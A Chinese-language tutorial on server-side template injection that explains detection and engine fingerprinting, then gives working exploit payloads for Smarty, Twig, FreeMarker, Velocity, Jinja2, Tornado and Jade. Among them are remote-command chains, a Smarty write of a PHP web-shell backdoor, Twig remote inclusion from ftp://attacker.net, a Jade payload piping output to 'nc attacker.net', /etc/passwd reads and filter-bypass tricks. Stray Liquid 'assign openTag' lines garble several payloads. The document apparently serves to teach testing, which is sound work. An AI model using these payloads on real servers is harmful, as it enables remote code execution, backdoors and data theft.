模板注入(ssti)

本文介绍模板注入。

一、概述

模板引擎可以让（网站）程序实现界面与数据分离，业务代码与逻辑代码的分离，这大大提升了开发效率，良好的设计也使得代码重用变得更加容易。与此同时，它也扩展了黑客的攻击面。除了常规的 XSS 外，注入到模板中的代码还有可能引发 RCE（远程代码执行）。通常来说，这类问题会在博客，CMS，wiki 中产生。虽然模板引擎会提供沙箱机制，攻击者依然有许多手段绕过它。模板引擎用于使用动态数据呈现内容。此上下文数据通常由用户控制并由模板进行格式化，以生成网页、电子邮件等。模板引擎通过使用代码构造（如条件语句、循环等）处理上下文数据，允许在模板中使用强大的语言表达式，以呈现动态内容。如果攻击者能够控制要呈现的模板，则他们将能够注入可暴露上下文数据，甚至在服务器上运行任意命令的表达式。

二、什么是服务端模板注入

通过模板，Web应用可以把输入转换成特定的HTML文件或者email格式。就拿一个销售软件来说，我们假设它会发送大量的邮件给客户，并在每封邮件前SKE插入问候语，它会通过Twig（一个模板引擎）做如下处理：

$output = $twig->render( $_GET['custom_email'] , array("first_name" => $user.first_name) );

有经验的读者可能迅速发现 XSS，但是问题不止如此。这行代码其实有更深层次的隐患，假设我们发送如下请求：

{% assign openTag = '{{7*7}}' %}
custom_email={{ openTag }} // GET 参数
49  // $output 结果

还有更神奇的结果：

{% assign openTag = '{{self}}' %}
custom_email={{ openTag }} // GET 参数
 
Object of class
__TwigTemplate_7ae62e582f8a35e5ea6cc639800ecf15b96c0d6f78db3538221c1145580ca4a5 could not be converted to string // 错误

我们不难猜到服务器执行了我们传过去的数据。每当服务器用模板引擎解析用户的输入时，这类问题都有可能发生。除了常规的输入外，攻击者还可以通过 LFI（文件包含）触发它。模板注入和 SQL 注入的产生原因有几分相似——都是将未过滤的数据传给引擎解析。

为什么我们在模板注入前加“服务端”呢？这是为了和 jQuery，KnockoutJS 产生的客户端模板注入区别开来。通常的来讲，前者甚至可以让攻击者执行任意代码，而后者只能 XSS。

1：探测漏洞

漏洞一般出现在这两种情况下，而每种有不同的探测手法：

文本类

大部分的模板语言支持我们输入HTML，比如：

smarty=Hello {user.name}
Hello user1
 
freemarker=Hello ${username}
Hello newuser
 
any=<b>Hello</b>
<b>Hello<b>

未经过滤的输入会产生 XSS，我们可以利用 XSS 做我们最基本的探针。除此之外，模板语言的语法和 HTML 语法相差甚大，因此我们可以用其独特的语法来探测漏洞。虽然各种模板的实现细节不大一样，不过它们的基本语法大致相同，我们可以发送如下 payload：

smarty=Hello ${7*7}
Hello 49
 
freemarker=Hello ${7*7}
Hello 49

来确认漏洞。

代码类

在一些环境下，用户的输入也会被当作模板的可执行代码。比如说变量名：

personal_greeting=username
Hello user01

这种情况下，XSS 的方法就无效了。但是我们可以通过破坏 template 语句，并附加注入的HTML标签以确认漏洞：

personal_greeting=username<tag>
Hello
personal_greeting=username}}<tag>
Hello user01 <tag>

2：信息收集

检测到模板注入后，我们需要判断具体的模板引擎。我们需要 fuzz 不同的字符，再通过返回的错误判断。当模板引擎屏蔽错误后，该类当法就失效了，并且暴力 fuzz 也对攻击自动化不友好。Burpsuite 则对不同模板接受的 payload 做了一个分类，并以此快速判断模板引擎：

这里的绿线表示结果成功返回，红线反之。有些时候，同一个可执行的 payload 会在不同引擎中返回不同的结果，比方说49会在 Twig 中返回49，而在 Jinja2 中则是7777777。

三、测试方法

• 确定使用的引擎
• 查看引擎相关的文档，确定其安全机制以及自带的函数和变量
• 需找攻击面，尝试攻击

1.测试用例

简单的数学表达式：

{% assign openTag = '{{ 7+7 }}' %}
{{ openTag }} => 14

字符串表达式：

{% assign openTag = '{{ "ajin" }}' %}
{{ openTag }} => ajin

• Ruby

<%= 7 * 7 %>
<%= File.open('/etc/passwd').read %>

• Java

${7*7}

• Twig

{% assign openTag = '{{7*7}}' %}
{{ openTag }}

• Smarty

{php}echo `id`;{/php}

• AngularJS

$eval('1+1')

• Tornado

引用模块

{% assign openTag = '{% ' %}
{{ openTag }}import module %}=> {{ openTag }}import os %}{{ os.popen("whoami").read() }}

• Flask/Jinja2

{% assign openTag = '{{ ' %}
{{ openTag }} config.items() }}
{{ openTag }}''.__class__.__mro__[-1].__subclasses__()}}

• Django

{% assign openTag = '{' %}
{{ openTag }}{ request }}
{{ openTag }}% debug %}
{{ openTag }}% load module %}
{{ openTag }}% include "x.html" %}
{{ openTag }}% extends "x.html" %}

2.目标

• 创建对象
• 文件读写
• 远程文件包含
• 信息泄漏
• 提权

四、漏洞利用

1.读文档

读模板文献是构造 exp 的第一步。一般来讲，我们需要关注如下部分：

• ‘Template 使用手册’，这一部分通常告诉我们基本的模板语法
• ‘安全问题’，在攻击模板时，它通常可以提供我们许多思路
• 内建方法，函数，变量，过滤器
• 插件/扩展——我们可以优先研究默认开启的

2.探环境

当我们构建出了可用 exp 后，我们需要考虑我们当前环境可利用的函数/对象。除了模板默认的对象和我们提供的参数外，大部分模板引擎都有一个包含当前命名空间所有信息的对象（比如 self），或者一个可以列出所有属性和方法的函数。

如果没有这样的对象或函数，我们需要暴力枚举变量名。有些时候，开发者也会在模板中包含了一些敏感信息。

3.黑程序

不要局限目光于通用特性，我们还需注意到不同开发者的实现细节。

用模板注入来实现任意对象创建，任意文件读写，远程文件包含，信息泄露以及提权。

有些时候，攻破一个程序不需要多少时间，比如：{php}echo id;{/php}

这时，我们只需递交：

<%
import os
x=os.popen('id').read()
%>
${x}

即可，但是越来越多的模板会提供安全措施（比方说沙箱，过滤）来保证安全性，因此开发模板注入后门越来越难了。

五、案例

FreeMarker

文档地址：https://freemarker.apache.org/docs/app_faq.html#faq_template_uploading_security

FreeMaker 是 Java 下最受欢迎的模板引擎。用户可以通过实现 TemplateModel 来用 new 创建任意 Java 对象。

public class Execute
implements TemplateMethodModel
/*给予FreeMaker执行命令权限，并将输入内联到模板里*/

payload

<#assign ex="freemarker.template.utility.Execute"?new()> ${ ex("id") }
uid=119(tomcat7) gid=127(tomcat7) groups=127(tomcat7)

Velocity

Velocity 同样是一款备受欢迎的模板语言。然而它没有默认变量列表和安全问题页面帮助我们构建 payload。

百度一下：ClassTool：在模板中实现Java的反射，默认参数：$key

这里有几个可利用的方法和属性：

$class.inspect(class/object/string)：返回正在审查类或对象的ClassTool实例
$class.type：返回被审查的类

换句话说，我们可以通过这两个类获得任意对象信息。再利用目标的Runtime.exec()执行任意命令嗯。通过如下模板，我们可以验证这一点：

$class.inspect("java.lang.Runtime").type.getRuntime().exec("sleep 5").waitFor() //延迟了5秒

得到 shell 命令输出有点麻烦：

#set($str=$class.inspect("java.lang.String").type)
#set($chr=$class.inspect("java.lang.Character").type)
#set($ex=$class.inspect("java.lang.Runtime").type.getRuntime().exec("whoami"))
$ex.waitFor()
#set($out=$ex.getInputStream())
#foreach($i in [1..$out.available()])
$str.valueOf($chr.toChars($out.read()))
#end
//输出 tomcat7

Smarty

Smarty 是一款 PHP 的模板语言。它使用安全模式来执行不信任的模板。它只运行 PHP 白名单里的函数，因此我们不能直接调用 system()。然而我们可以从模板已有的类中进行任意调用。而文档表示我们可以通过 smarty 来获取许多环境变量（比如当前变量的位置 $SCRIPT_NAME)。后面，我们又发现了 getStreamVariable:

这个函数能任意读取有读写权限的文件：

{self::getStreamVariable("file:///proc/self/loginuid")}
1000
{self::getStreamVariable($SCRIPT_NAME)}
<?php
define("SMARTY_DIR",'/usr/share/php/Smarty/');
require_once(SMARTY_DIR.'Smarty.class.php');

不仅如此，我们能任意调用静态方法，这当中包括一个可以创建和重写文件的方法public function writeFile($_filepath, $_contents, Smarty $smarty)。通过该方法，我们能轻松在web目录下创建后门。值得注意的是，第三个参数必须为 Smarty 对象，所以我们要想办法得到 Smarty 对象的引用。

幸运的是，self::clearConfig帮助我们获取对象：

public function clearConfig($varname = null)
{
return Smarty_Internal_Extension_Config::clearConfig($this, $varname);
}

最后，我们就可以创建后门了！

{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php passthru($_GET['cmd']); ?>",self::clearConfig())}

Twig

Twig 和 Smarty 类似，不过我们不能用它调用静态方法。幸运的是，它提供了 _self，我们并不需要暴力枚举变量名。虽然 _self 没什么有用的方法，它提供了指向 Twig_Environment 的env 属性。Twig_Environment 其中的 setCache 方法则能改变 Twig 加载 PHP 文件的路径。这样一来，我们就可以通过改变路径实现 RFI了：

{% assign openTag = '{{' %}
{{ openTag }}_self.env.setCache("ftp://attacker.net:2121")}}{{_self.env.loadTemplate("backdoor")}}

但是，PHP 默认禁止远程文件包含（关闭 allow_url_include），因此上述 payload 不能生效。进一步探索，我们在 getFilter 里发现了危险函数 call_user_func。通过传递传递参数到该函数中，我们可以调用任意 PHP 函数：

public function getFilter($name)
  {
    ...
    foreach ($this->filterCallbacks as $callback) {
    if (false !== $filter = call_user_func($callback, $name)) {
      return $filter;
    }
  }
  return false;
}
 
public function registerUndefinedFilterCallback($callable)
{
  $this->filterCallbacks[] = $callable;
}

我们只需注册 exec 为 filter 的回调函数，并如此调用：

{% assign openTag = '{{' %}
{{ openTag }}_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
//返回结果： uid=1000(k) gid=1000(k) groups=1000(k),10(wheel)

Twig（沙箱模式）

Twig 的沙箱模式有额外的限制。它会禁用一部分函数（包括开发者提供的对象），因此我们并不能调用有价值的东西。万幸的是，这部分代码帮助我们突破限制：

public function checkMethodAllowed($obj, $method)
{
  if ($obj instanceof Twig_TemplateInterface || $obj instanceof Twig_Markup) {
  return true;
}

这里，我们可以调用实现 Twig_TemplateInterface 的对象，也就是说我们可以简介使用 _self.，_self.中的 displayBlock 让我们更上一层楼：

public function displayBlock($name, array $context, array $blocks = array(), $useBlocks =
true)
{
  $name = (string) $name;
    if ($useBlocks && isset($blocks[$name])) {
    $template = $blocks[$name][0];
    $block = $blocks[$name][1];
  } elseif (isset($this->blocks[$name])) {
    $template = $this->blocks[$name][0];
    $block = $this->blocks[$name][1];
  } else {
    $template = null;
    $block = null;
  }
  if (null !== $template) {
    try {
      $template->$block($context, $blocks);
    } catch (Twig_Error $e) {

我们可以用

$template ->$block($context, $blocks)

绕过白名单限制。以下的代码会调用 userObject 对象的 vulnerableMethod：

{% assign openTag = '{{' %}
{{ openTag }}_self.displayBlock("id",[],{"id":[userObject,"vulnerableMethod"]})}}

虽然现在不能获得化境变量，但我们可以利用 _context 属性查找开发者自定义的对象并调用有用的目标。

Jade

Jade 是一款 Node.js 模板引擎。http://CodePen.io 则可以接受用户递交该模板。这里，我会展示如何对模板注入进行黑盒测试。

首先，让我们来确认模板可以执行代码：

= 7*7
//结果：49

再来确认 self 对象的位置：

= root
//结果：[object global]

我们来列一下对象属性和函数：

- var x = root
- for(var prop in x)
, #{prop}

, ArrayBuffer, Int8Array, Uint8Array, Uint8ClampedArray... global, process, GLOBAL, root

这些可能是可利用的函数：

- var x = root.process
- for(var prop in x)
, #{prop}

, title, version, moduleLoadList... mainModule, setMaxListeners, emit, once

绕过保护机制：

- var x = root.process.mainModule
- for(var prop in x)
, #{prop}
 
因为安全原因，CodePen阻止了你的语句
请删除下列关键字后进行尝试
->process
->mainModule

- var x = root.process
- x = x.mainModule
- for(var prop in x)
, #{prop}
 
, id, exports, parent, filename, loaded, children, paths, load, require, _compile

确定有用的函数：

- var x = root.process
- x = x.mainModule.require
 
- x('a')
Cannot find module 'a'

最终 exp：

- var x = root.process
- x = x.mainModule.require
- x = x('child_process')
= x.exec('id | nc attacker.net 80')

六、拓展

1.相关属性

class

python中类对象的 __mro__ 属性会返回一个tuple对象，其中包含了当前类对象所有继承的基类，tuple中元素的顺序是MRO（Method Resolution Order） 寻找的顺序。
__mro__

python中类对象的 __mro__ 属性会返回一个tuple对象，其中包含了当前类对象所有继承的基类，tuple中元素的顺序是MRO（Method Resolution Order） 寻找的顺序。

globals

保存了函数所有的所有全局变量，在利用中，可以使用__init__获取对象的函数，并通过__globals__获取file、os等模块以进行下一步的利用
__subclasses__()

python的新式类都保留了它所有的子类的引用，__subclasses__() 这个方法返回了类的所有存活的子类的引用（是类对象引用，不是实例）。因为python中的类都是继承object的，所以只要调用object类对象的 __subclasses__() 方法就可以获取想要的类的对象。

2.常见Payload

().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__("os").popen("ls /").read()' )

3.绕过技巧

字符串拼接

绕过技巧

().__class__.__bases__[0].__subclasses__()[40](r'/etc/passwd').read()
request['__cl'+'ass__'].__base__.__base__.__base__['__subcla'+'sses__']()[60]

使用参数绕过

params = {
    'clas': '__class__',
    'mr': '__mro__',
    'subc': '__subclasses__'
}
data = {
    "data": "{{''[request.args.clas][request.args.mr][1][request.args.subc]()}}"
}
r = requests.post(url, params=params, data=data)
print(r.text)